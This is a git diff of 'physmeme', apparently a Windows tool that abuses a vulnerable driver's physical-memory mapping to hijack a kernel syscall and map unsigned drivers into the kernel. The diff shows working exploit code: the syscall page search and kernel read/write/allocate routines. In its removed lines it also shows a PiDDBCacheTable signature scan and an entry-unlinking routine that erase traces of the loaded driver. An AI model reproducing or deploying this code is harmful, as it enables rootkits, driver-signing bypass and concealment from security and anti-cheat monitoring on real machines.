return; - - hooks.insert({ - addr_to_hook, - std::make_unique( - addr_to_hook, - jmp_to_addr, - enable - )} - ); - } - - /* - Author: xerox - Date: 12/19/2019 - - Enable hook given the address to hook - */ - static void enable(void* addr) - { - if (!addr) - return; - hooks.at(addr)->install(); - } - - /* - Author: xerox - Date: 12/19/2019 - - Disable hook givent the address of the hook - */ - static void disable(void* addr) - { - if (!addr) - return; - hooks.at(addr)->uninstall(); - } - - - /* - Author: xerox - Date: 12/19/2019 - - Remove hook completely from vector - */ - static void remove(void* addr) - { - if (!addr) - return; - hooks.at(addr)->~detour(); - hooks.erase(addr); - } -} \ No newline at end of file diff --git a/physmeme-lib/util/nt.hpp b/physmeme-lib/util/nt.hpp deleted file mode 100644 index eb556a4..0000000 --- a/physmeme-lib/util/nt.hpp +++ /dev/null @@ -1,114 +0,0 @@ -#pragma once -#include -#include - -#pragma comment(lib, "ntdll.lib") -constexpr auto page_size = 0x1000; - -inline const char piddb_lock_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C\x24"; -inline const char piddb_lock_mask[] = "xxx????x????xxxx"; - -inline const char piddb_table_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x48\x8D\x1D\x00\x00\x00\x00\x48\x85\xC0\x0F"; -inline const char piddb_table_mask[] = "xxx????x????xxx????xxxx"; - -constexpr auto SystemModuleInformation = 11; -constexpr auto SystemHandleInformation = 16; -constexpr auto SystemExtendedHandleInformation = 64; - -#define MM_COPY_MEMORY_PHYSICAL 0x1 -#define MM_COPY_MEMORY_VIRTUAL 0x2 - -typedef struct PiDDBCacheEntry -{ - LIST_ENTRY list; - UNICODE_STRING driver_name; - ULONG time_stamp; - NTSTATUS load_status; - char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers -}PIDCacheobj; - -typedef struct _SYSTEM_HANDLE -{ - PVOID Object; - HANDLE UniqueProcessId; - HANDLE HandleValue; - ULONG GrantedAccess; - USHORT CreatorBackTraceIndex; - USHORT ObjectTypeIndex; - ULONG HandleAttributes; - ULONG Reserved; -} SYSTEM_HANDLE, * PSYSTEM_HANDLE; - -typedef struct _SYSTEM_HANDLE_INFORMATION_EX -{ - ULONG_PTR HandleCount; - ULONG_PTR Reserved; - SYSTEM_HANDLE Handles[1]; -} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; - -typedef enum _POOL_TYPE { - NonPagedPool, - NonPagedPoolExecute, - PagedPool, - NonPagedPoolMustSucceed, - DontUseThisType, - NonPagedPoolCacheAligned, - PagedPoolCacheAligned, - NonPagedPoolCacheAlignedMustS, - MaxPoolType, - NonPagedPoolBase, - NonPagedPoolBaseMustSucceed, - NonPagedPoolBaseCacheAligned, - NonPagedPoolBaseCacheAlignedMustS, - NonPagedPoolSession, - PagedPoolSession, - NonPagedPoolMustSucceedSession, - DontUseThisTypeSession, - NonPagedPoolCacheAlignedSession, - PagedPoolCacheAlignedSession, - NonPagedPoolCacheAlignedMustSSession, - NonPagedPoolNx, - NonPagedPoolNxCacheAligned, - NonPagedPoolSessionNx -} POOL_TYPE; - -typedef struct _RTL_PROCESS_MODULE_INFORMATION -{ - HANDLE Section; - PVOID MappedBase; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT OffsetToFileName; - UCHAR FullPathName[256]; -} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; - -typedef struct _RTL_PROCESS_MODULES -{ - ULONG NumberOfModules; - RTL_PROCESS_MODULE_INFORMATION Modules[1]; -} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; - -typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS; - -typedef struct _MM_COPY_ADDRESS { - union { - PVOID VirtualAddress; - PHYSICAL_ADDRESS PhysicalAddress; - }; -} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS; - -using PEPROCESS = PVOID; -using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T); -using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG); -using MmCopyMemory = NTSTATUS (__stdcall*)(PVOID, MM_COPY_ADDRESS,SIZE_T,ULONG,PSIZE_T); -using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t); -using ExAcquireResourceExclusiveLite = BOOLEAN(__stdcall*)(void*,bool); -using RtlLookupElementGenericTableAvl = PIDCacheobj* (__stdcall*) (void*, void*); -using RtlDeleteElementGenericTableAvl = bool(__stdcall*)(void*,void*); -using ExReleaseResourceLite = bool(__stdcall*)(void*); -using PsLookupProcessByProcessId = NTSTATUS(__fastcall*)(HANDLE, PEPROCESS*); -using PsGetProcessSectionBaseAddress = void* (__fastcall*)(PEPROCESS); \ No newline at end of file diff --git a/physmeme-lib/util/util.hpp b/physmeme-lib/util/util.hpp deleted file mode 100644 index de3dbc1..0000000 --- a/physmeme-lib/util/util.hpp +++ /dev/null @@ -1,344 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "nt.hpp" - -namespace util -{ - //--- ranges of physical memory - static std::map pmem_ranges{}; - - //--- validates the address - static bool is_valid(std::uintptr_t addr) - { - for (auto range : pmem_ranges) - if (addr >= range.first && addr <= range.first + range.second) - return true; - return false; - } - - // Author: Remy Lebeau - // taken from here: https://stackoverflow.com/questions/48485364/read-reg-resource-list-memory-values-incorrect-value - static const auto init_ranges = ([&]() -> bool - { - HKEY h_key; - DWORD type, size; - LPBYTE data; - RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); - RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size - data = new BYTE[size]; - RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size); - DWORD count = *(DWORD*)(data + 16); - auto pmi = data + 24; - for (int dwIndex = 0; dwIndex < count; dwIndex++) - { - pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8)); - pmi += 20; - } - delete[] data; - RegCloseKey(h_key); - return true; - })(); - - inline PIMAGE_FILE_HEADER get_file_header(void* base_addr) - { - if (!base_addr || *(short*)base_addr != 0x5A4D) - return NULL; - - PIMAGE_DOS_HEADER dos_headers = - reinterpret_cast(base_addr); - - PIMAGE_NT_HEADERS nt_headers = - reinterpret_cast( - reinterpret_cast(base_addr) + dos_headers->e_lfanew); - - return &nt_headers->FileHeader; - } - - // this was taken from wlan's drvmapper: - // https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7 - static void open_binary_file(const std::string& file, std::vector& data) - { - std::ifstream fstr(file, std::ios::binary); - fstr.unsetf(std::ios::skipws); - fstr.seekg(0, std::ios::end); - - const auto file_size = fstr.tellg(); - - fstr.seekg(NULL, std::ios::beg); - data.reserve(static_cast(file_size)); - data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); - } - - // get base address of kernel module - // - // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 - static std::uintptr_t get_module_base(const char* module_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - NTSTATUS status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); - if (!_stricmp(current_module_name.c_str(), module_name)) - { - const uint64_t result = reinterpret_cast(modules->Modules[idx].ImageBase); - VirtualFree(buffer, NULL, MEM_RELEASE); - return result; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - // get base address of kernel module - // - // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 - static void* get_kernel_export(const char* module_name, const char* export_name, bool rva = false) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - NTSTATUS status = NtQuerySystemInformation( - static_cast(SystemModuleInformation), - buffer, - buffer_size, - &buffer_size - ); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, 0, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(SystemModuleInformation), - buffer, - buffer_size, - &buffer_size - ); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, 0, MEM_RELEASE); - return 0; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - // find module and then load library it - const std::string current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName - ); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - // had to shoot the tires off of "\\SystemRoot\\" - std::string full_path = reinterpret_cast(modules->Modules[idx].FullPathName); - full_path.replace( - full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, - std::string(getenv("SYSTEMROOT")).append("\\") - ); - - const auto module_base = - LoadLibraryEx( - full_path.c_str(), - NULL, - DONT_RESOLVE_DLL_REFERENCES - ); - - PIMAGE_DOS_HEADER p_idh; - PIMAGE_NT_HEADERS p_inh; - PIMAGE_EXPORT_DIRECTORY p_ied; - - PDWORD addr, name; - PWORD ordinal; - - p_idh = (PIMAGE_DOS_HEADER)module_base; - if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) - return NULL; - - p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew); - if (p_inh->Signature != IMAGE_NT_SIGNATURE) - return NULL; - - if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) - return NULL; - - p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base + - p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); - - addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions); - name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames); - ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals); - - // find exported function - for (auto i = 0; i < p_ied->AddressOfFunctions; i++) - if (!strcmp(export_name, (char*)module_base + name[i])) - { - if (!rva) - { - auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]); - VirtualFree(buffer, NULL, MEM_RELEASE); - return result; - } - else - { - auto result = (void*)addr[ordinal[i]]; - VirtualFree(buffer, NULL, MEM_RELEASE); - return result; - } - } - } - } - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - namespace memory - { - template - inline std::uintptr_t pattern_scan_kernel(const char(&signature)[pattern_length], const char(&mask)[pattern_length]) - { - static const auto kernel_addr = - LoadLibraryEx( - "ntoskrnl.exe", - NULL, - DONT_RESOLVE_DLL_REFERENCES - ); - - static const auto p_idh = reinterpret_cast(kernel_addr); - if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) - return NULL; - - static const auto p_inh = reinterpret_cast((LPBYTE)kernel_addr + p_idh->e_lfanew); - if (p_inh->Signature != IMAGE_NT_SIGNATURE) - return NULL; - - static auto current_section = reinterpret_cast(p_inh + 1); - static const auto first_section = current_section; - static const auto num_sec = p_inh->FileHeader.NumberOfSections; - static std::atomic ran_before = false; - - // - // only run this once. - // - if(!ran_before.exchange(true)) - for (; current_section < first_section + num_sec; ++current_section) - if(!strcmp(reinterpret_cast(current_section->Name), "PAGE")) - break; - - static const auto page_section_begin = - reinterpret_cast(kernel_addr) + current_section->VirtualAddress; - - const auto pattern_view = std::string_view{ - reinterpret_cast(page_section_begin), - current_section->SizeOfRawData - }; - - std::array, pattern_length - 1> pattern{}; - - for (std::size_t index = 0; index < pattern_length - 1; index++) - pattern[index] = { signature[index], mask[index] }; - - auto resultant_address = std::search( - pattern_view.cbegin(), - pattern_view.cend(), - pattern.cbegin(), - pattern.cend(), - [](char left, std::pair right) -> bool { - return (right.second == '?' || left == right.first); - }); - - return resultant_address == pattern_view.cend() ? 0 : reinterpret_cast(resultant_address.operator->()); - } - - // - // be aware that this may not work for win8 or win7! - // - inline void* get_piddb_lock() - { - static const auto absolute_addr_instruction = - pattern_scan_kernel( - piddb_lock_sig, - piddb_lock_mask - ); - - static const auto ntoskrnl_in_my_process = - reinterpret_cast(GetModuleHandle("ntoskrnl.exe")); - - if (!absolute_addr_instruction || !ntoskrnl_in_my_process) - return {}; - - const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3); - const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process; - static const auto kernel_base = util::get_module_base("ntoskrnl.exe"); - - if (!kernel_base) - return {}; - - return reinterpret_cast(kernel_base + real_rva); - } - - // - // be aware that this may not work for win8 or win7! - // - inline void* get_piddb_table() - { - static const auto absolute_addr_instruction = - pattern_scan_kernel( - piddb_table_sig, - piddb_table_mask - ); - - static const auto ntoskrnl_in_my_process = - reinterpret_cast(GetModuleHandle("ntoskrnl.exe")); - - if (!absolute_addr_instruction || !ntoskrnl_in_my_process) - return {}; - - const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3); - const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process; - static const auto kernel_base = util::get_module_base("ntoskrnl.exe"); - - if (!kernel_base) - return {}; - - return reinterpret_cast(kernel_base + real_rva); - } - } -} \ No newline at end of file diff --git a/physmeme.sln b/physmeme.sln index d850fe5..87974c8 100644 --- a/physmeme.sln +++ b/physmeme.sln @@ -5,8 +5,6 @@ VisualStudioVersion = 16.0.29613.14 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "physmeme", "physmeme\physmeme.vcxproj", "{6578B958-DD53-4BE0-8011-009563919E73}" EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "physmeme-lib", "physmeme-lib\physmeme-lib.vcxproj", "{13FFA531-AD46-46F8-B52D-4A01BA078034}" -EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 @@ -23,14 +21,6 @@ Global {6578B958-DD53-4BE0-8011-009563919E73}.Release|x64.Build.0 = Release|x64 {6578B958-DD53-4BE0-8011-009563919E73}.Release|x86.ActiveCfg = Release|Win32 {6578B958-DD53-4BE0-8011-009563919E73}.Release|x86.Build.0 = Release|Win32 - {13FFA531-AD46-46F8-B52D-4A01BA078034}.Debug|x64.ActiveCfg = Debug|x64 - {13FFA531-AD46-46F8-B52D-4A01BA078034}.Debug|x64.Build.0 = Debug|x64 - {13FFA531-AD46-46F8-B52D-4A01BA078034}.Debug|x86.ActiveCfg = Debug|Win32 - {13FFA531-AD46-46F8-B52D-4A01BA078034}.Debug|x86.Build.0 = Debug|Win32 - {13FFA531-AD46-46F8-B52D-4A01BA078034}.Release|x64.ActiveCfg = Release|x64 - {13FFA531-AD46-46F8-B52D-4A01BA078034}.Release|x64.Build.0 = Release|x64 - {13FFA531-AD46-46F8-B52D-4A01BA078034}.Release|x86.ActiveCfg = Release|Win32 - {13FFA531-AD46-46F8-B52D-4A01BA078034}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/physmeme/kernel_ctx/kernel_ctx.cpp b/physmeme/kernel_ctx/kernel_ctx.cpp index af193b3..034e7eb 100644 --- a/physmeme/kernel_ctx/kernel_ctx.cpp +++ b/physmeme/kernel_ctx/kernel_ctx.cpp @@ -7,6 +7,10 @@ namespace physmeme if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer) return; + ntoskrnl_buffer = reinterpret_cast( + LoadLibraryEx("ntoskrnl.exe", NULL, + DONT_RESOLVE_DLL_REFERENCES)); + nt_rva = reinterpret_cast( util::get_kernel_export( "ntoskrnl.exe", @@ -15,12 +19,8 @@ namespace physmeme )); nt_page_offset = nt_rva % page_size; - ntoskrnl_buffer = reinterpret_cast( - LoadLibraryEx("ntoskrnl.exe", NULL, - DONT_RESOLVE_DLL_REFERENCES)); - - //--- for each physical memory range, make a thread to search it std::vector search_threads; + for (auto ranges : util::pmem_ranges) search_threads.emplace_back(std::thread( &kernel_ctx::map_syscall, @@ -33,197 +33,33 @@ namespace physmeme search_thread.join(); } - void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const + void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t size) const { - //if the physical memory range is less then or equal to 2mb - if (begin + end <= 0x1000 * 512) + for (auto page = 0u; page < size; page += page_size) { - auto page_va = physmeme::map_phys(begin + nt_page_offset, end); - if (page_va) - { - // scan every page of the physical memory range - for (auto page = page_va; page < page_va + end; page += 0x1000) - if (!is_page_found.load()) // keep scanning until its found - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) - { - // - // this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking! - // - psyscall_func.store((void*)page); - auto my_proc_base = reinterpret_cast(GetModuleHandleA(NULL)); - auto my_proc_base_from_syscall = reinterpret_cast(get_proc_base(GetCurrentProcessId())); - - if (my_proc_base != my_proc_base_from_syscall) - continue; - - is_page_found.store(true); - return; - } - physmeme::unmap_phys(page_va, end); - } - } - else // else the range is bigger then 2mb - { - auto remainder = (begin + end) % (0x1000 * 512); - - // loop over 2m chunks - for (auto range = begin; range < begin + end; range += 0x1000 * 512) - { - auto page_va = physmeme::map_phys(range + nt_page_offset, 0x1000 * 512); - if (page_va) - { - // loop every page of 2mbs (512) - for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000) - { - if (!is_page_found.load()) - { - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) - { - // - // this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking! - // - psyscall_func.store((void*)page); - auto my_proc_base = reinterpret_cast(GetModuleHandle(NULL)); - auto my_proc_base_from_syscall = reinterpret_cast(get_proc_base(GetCurrentProcessId())); + if (is_page_found.load()) + break; - if (my_proc_base != my_proc_base_from_syscall) - continue; - - is_page_found.store(true); - return; - } - } - } - physmeme::unmap_phys(page_va, 0x1000 * 512); - } - } - - // map the remainder and check each page of it - auto page_va = physmeme::map_phys(begin + end - remainder + nt_page_offset, remainder); - if (page_va) + auto virt_addr = physmeme::map_phys(begin + page, page_size); + // sometimes the virtual address returned from map_phys is 1 page ahead + // of the actual mapping... This is a problem with the driver... + __try { - for (auto page = page_va; page < page_va + remainder; page += 0x1000) + if (!memcmp((void*)(virt_addr + nt_page_offset), ntoskrnl_buffer + nt_rva, 32)) { - if (!is_page_found.load()) + psyscall_func.store(reinterpret_cast(virt_addr + nt_page_offset)); + if (get_proc_base(GetCurrentProcessId()) == GetModuleHandle(NULL)) { - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) - { - // - // this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking! - // - psyscall_func.store((void*)page); - auto my_proc_base = reinterpret_cast(GetModuleHandle(NULL)); - auto my_proc_base_from_syscall = reinterpret_cast(get_proc_base(GetCurrentProcessId())); - - if (my_proc_base != my_proc_base_from_syscall) - continue; - - is_page_found.store(true); - return; - } + is_page_found.store(true); + return; } } - physmeme::unmap_phys(page_va, remainder); } + __except (EXCEPTION_EXECUTE_HANDLER) {} + physmeme::unmap_phys(virt_addr, page_size); } } - bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp) - { - static const auto piddb_lock = - util::memory::get_piddb_lock(); - - static const auto piddb_table = - util::memory::get_piddb_table(); - - if (!piddb_lock || !piddb_table) - return false; - - static const auto ex_acquire_resource = - util::get_kernel_export( - "ntoskrnl.exe", - "ExAcquireResourceExclusiveLite" - ); - - static const auto lookup_element_table = - util::get_kernel_export( - "ntoskrnl.exe", - "RtlLookupElementGenericTableAvl" - ); - - static const auto release_resource = - util::get_kernel_export( - "ntoskrnl.exe", - "ExReleaseResourceLite" - ); - - static const auto delete_table_entry = - util::get_kernel_export( - "ntoskrnl.exe", - "RtlDeleteElementGenericTableAvl" - ); - - if (!ex_acquire_resource || !lookup_element_table || !release_resource) - return false; - - PiDDBCacheEntry cache_entry; - const auto drv_name = std::wstring(file_name.begin(), file_name.end()); - cache_entry.time_stamp = timestamp; - RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data()); - - // - // ExAcquireResourceExclusiveLite - // - if (!syscall(ex_acquire_resource, piddb_lock, true)) - return false; - - // - // RtlLookupElementGenericTableAvl - // - PIDCacheobj* found_entry_ptr = - syscall( - lookup_element_table, - piddb_table, - reinterpret_cast(&cache_entry) - ); - - if (found_entry_ptr) - { - - // - // unlink entry. - // - PIDCacheobj found_entry = read_kernel(found_entry_ptr); - LIST_ENTRY NextEntry = read_kernel(found_entry.list.Flink); - LIST_ENTRY PrevEntry = read_kernel(found_entry.list.Blink); - - PrevEntry.Flink = found_entry.list.Flink; - NextEntry.Blink = found_entry.list.Blink; - - write_kernel(found_entry.list.Blink, PrevEntry); - write_kernel(found_entry.list.Flink, NextEntry); - - // - // delete entry. - // - syscall(delete_table_entry, piddb_table, found_entry_ptr); - - // - // ensure the entry is 0 - // - auto result = syscall( - lookup_element_table, - piddb_table, - reinterpret_cast(&cache_entry) - ); - - syscall(release_resource, piddb_lock); - return !result; - } - syscall(release_resource, piddb_lock); - return false; - } - void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type) { static const auto ex_alloc_pool = @@ -232,7 +68,8 @@ namespace physmeme "ExAllocatePool" ); - return syscall( + return syscall + ( ex_alloc_pool, pool_type, size @@ -258,12 +95,14 @@ namespace physmeme void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size) { static const auto mm_copy_memory = - util::get_kernel_export( + util::get_kernel_export + ( "ntoskrnl.exe", "RtlCopyMemory" ); - syscall( + syscall + ( mm_copy_memory, buffer, addr, @@ -274,12 +113,14 @@ namespace physmeme void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size) { static const auto mm_copy_memory = - util::get_kernel_export( + util::get_kernel_export + ( "ntoskrnl.exe", "RtlCopyMemory" ); - syscall( + syscall + ( mm_copy_memory, addr, buffer, @@ -290,12 +131,14 @@ namespace physmeme void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size) { static const auto rtl_zero_memory = - util::get_kernel_export( + util::get_kernel_export + ( "ntoskrnl.exe", "RtlZeroMemory" ); - syscall( + syscall + ( rtl_zero_memory, addr, size @@ -304,17 +147,16 @@ namespace physmeme PEPROCESS kernel_ctx::get_peprocess(unsigned pid) const { - if (!pid) - return {}; - PEPROCESS proc; static auto get_peprocess_from_pid = - util::get_kernel_export( + util::get_kernel_export + ( "ntoskrnl.exe", "PsLookupProcessByProcessId" ); - syscall( + syscall + ( get_peprocess_from_pid, (HANDLE)pid, &proc @@ -324,21 +166,18 @@ namespace physmeme void* kernel_ctx::get_proc_base(unsigned pid) const { - if (!pid) - return {}; - const auto peproc = get_peprocess(pid); - - if (!peproc) - return {}; + if (!peproc) return {}; static auto get_section_base = - util::get_kernel_export( + util::get_kernel_export + ( "ntoskrnl.exe", "PsGetProcessSectionBaseAddress" ); - return syscall( + return syscall + ( get_section_base, peproc ); diff --git a/physmeme/kernel_ctx/kernel_ctx.h b/physmeme/kernel_ctx/kernel_ctx.h index 791160e..eaf614b 100644 --- a/physmeme/kernel_ctx/kernel_ctx.h +++ b/physmeme/kernel_ctx/kernel_ctx.h @@ -30,9 +30,6 @@ namespace physmeme class kernel_ctx { public: - // - // default constructor - // kernel_ctx(); // diff --git a/physmeme/main.cpp b/physmeme/main.cpp index 5ea8324..4a8ca09 100644 --- a/physmeme/main.cpp +++ b/physmeme/main.cpp @@ -20,7 +20,6 @@ int __cdecl main(int argc, char** argv) } physmeme::drv_image image(drv_buffer); - if (!physmeme::load_drv()) { perror("[!] unable to load driver....\n"); @@ -30,18 +29,13 @@ int __cdecl main(int argc, char** argv) physmeme::kernel_ctx ctx; // - // shoot the tires off piddb cache entry. + // unload exploitable driver, we dont need it loaded after we create kernel_ctx... // - const auto drv_timestamp = util::get_file_header((void*)raw_driver)->TimeDateStamp; - printf("[+] clearing piddb cache for driver: %s, with timestamp 0x%x\n", physmeme::drv_key.c_str(), drv_timestamp); - - if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp)) + if (!physmeme::unload_drv()) { - // this is because the signature might be broken on these versions of windows. - perror("[-] failed to clear PiDDBCacheTable.\n"); + perror("[!] unable to unload driver... all handles closed?\n"); return -1; } - printf("[+] cleared piddb cache...\n"); // // lambdas used for fixing driver image @@ -105,16 +99,6 @@ int __cdecl main(int argc, char** argv) // ctx.zero_kernel_memory(pool_base, image.header_size()); - // - // unload exploitable driver - // - physmeme::unmap_all(); // just in case there are any left over physical pages mapped... - if (!physmeme::unload_drv()) - { - perror("[!] unable to unload driver... all handles closed?\n"); - return -1; - } - printf("[+] unloaded exploitable driver....\n"); printf("[=] press enter to close\n"); std::cin.get(); diff --git a/physmeme/physmeme/physmeme.hpp b/physmeme/physmeme/physmeme.hpp index 3dae9ba..0f991e2 100644 --- a/physmeme/physmeme/physmeme.hpp +++ b/physmeme/physmeme/physmeme.hpp @@ -27,13 +27,10 @@ namespace physmeme inline std::string drv_key; inline HANDLE drv_handle = NULL; - // keep track of mappings. - inline std::vector> virtual_mappings; - // // please code this function depending on your method of physical read/write. // - inline bool load_drv() + __forceinline bool load_drv() { const auto [result, key] = driver::load( @@ -57,7 +54,7 @@ namespace physmeme // // please code this function depending on your method of physical read/write. // - inline bool unload_drv() + __forceinline bool unload_drv() { return CloseHandle(drv_handle) && driver::unload(drv_key); } @@ -65,7 +62,7 @@ namespace physmeme // // please code this function depending on your method of physical read/write. // - inline std::uintptr_t map_phys( + __forceinline std::uintptr_t map_phys( std::uintptr_t addr, std::size_t size ) @@ -80,14 +77,13 @@ namespace physmeme DeviceIoControl(drv_handle, MAP_PHYS, reinterpret_cast(&in_buffer), sizeof(in_buffer), reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - virtual_mappings.emplace_back(std::pair(out_buffer[0], size)); return out_buffer[0]; } // // please code this function depending on your method of physical read/write. // - inline bool unmap_phys( + __forceinline bool unmap_phys( std::uintptr_t addr, std::size_t size ) @@ -100,13 +96,4 @@ namespace physmeme reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); return out_buffer[0]; } - - // - // unmap all physical memory that was mapped. - // - inline void unmap_all() - { - for (auto idx = 0u; idx < virtual_mappings.size(); ++idx) - unmap_phys(virtual_mappings[idx].first, virtual_mappings[idx].second); - } } \ No newline at end of file diff --git a/physmeme/util/hook.hpp b/physmeme/util/hook.hpp index 337025e..258d359 100644 --- a/physmeme/util/hook.hpp +++ b/physmeme/util/hook.hpp @@ -51,20 +51,11 @@ namespace hook : hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false) { //setup hook - memcpy( - jmp_code + OFFSET_TO_ADDRESS, - &jmp_to, - sizeof(jmp_to) - ); + memcpy(jmp_code + OFFSET_TO_ADDRESS, &jmp_to, sizeof(jmp_to)); //save bytes - memcpy( - org_bytes, - hook_addr, - sizeof(org_bytes) - ); - if(enable) - install(); + memcpy(org_bytes, hook_addr, sizeof(org_bytes)); + if(enable) install(); } void install()